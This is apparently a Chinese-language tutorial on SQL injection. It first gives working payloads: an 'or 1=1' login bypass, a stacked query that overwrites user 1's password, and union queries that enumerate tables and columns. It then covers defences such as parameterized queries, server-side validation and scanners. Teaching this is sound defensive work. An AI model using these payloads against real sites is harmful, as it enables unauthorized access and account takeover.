假设的登录查询
写法1: SELECT * FROM user WHERE username = '$username' AND password = '$password’
Sever端代码 String sql = "SELECT * FROM user WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
(这是一种安全级别最低的写法)
攻击时,只需输入字符
username = ' or 1=1
password = anything
实际的查询代码
SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything'
写法2:
安全级别稍微高一点可以写为:
select username,password from user where username='$username'
if(count()==1)
if (password=$password)
登录成功
攻击时,比较麻烦些,需要在用户名中,修改用户密码:
username=' or 1=1;update user set password=’123456’ where usrid=1#’
如果客户端约束了字符长度。则需要绕过客户端,直接将这串字符用Post的方式,发送给服务器。
然后将那一串字符: username=' or 1=1;update user set password=’123456’ where usrid=1#’,代替username
二、URL攻击
http://www.*****.com/read.php?tid=2133611
就可以偷着乐了,因为很有可能这是一个可以攻击的网址。我们还需要尝试是否有漏洞。
发现漏洞后,有什么可以做的么?呵呵,当然可以任意发挥想象啦。列举一些:
and 1=2 union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=’learn’
以此类推可以显示所有的表名。
以此可以继续获取列名。
and 1=2 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=’learn’ and table_name=’user’ limit 1,1
1)通过对客户端和服务器端代码检查可以防止SQL注入
2)构造查询时,应根据用户输入内容设置参数值来创建参数化查询,从而避免SQL注入
一个常见的错误是,假如你使用了存储过程或ORM,你就完全不受SQL注入攻击之害了。这是不正确的,你还是需要确定在给存储过程传递数据时你很谨慎,或在用ORM来定制一个查询时,你的做法是安全的。
参数化查询已被视为最有效的可防御SQL注入攻击的防御方式。目前主流的ORM 框架都内置支持并且推荐使用这种方式进行持久层封装。
所谓的参数化查询(Parameterized Query 或 Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值。
例:
SELECT * FROM myTable WHERE myID = @myID
INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4) VALUES(?,?,?,?)
通过(?)指定占位符,当然在添加参数的时候,必须按照(c1, c2, c3, c4)的顺序来添加,否则会出错。
3)通过扫描工具发现系统是否存在SQL的安全漏洞,常用的工具:N-Stealth、WebInspect、Nikto等。
4)对于客户端限制,还需要在服务器端予以同样的限制,为了弥补客户端验证机制脆弱的安全性。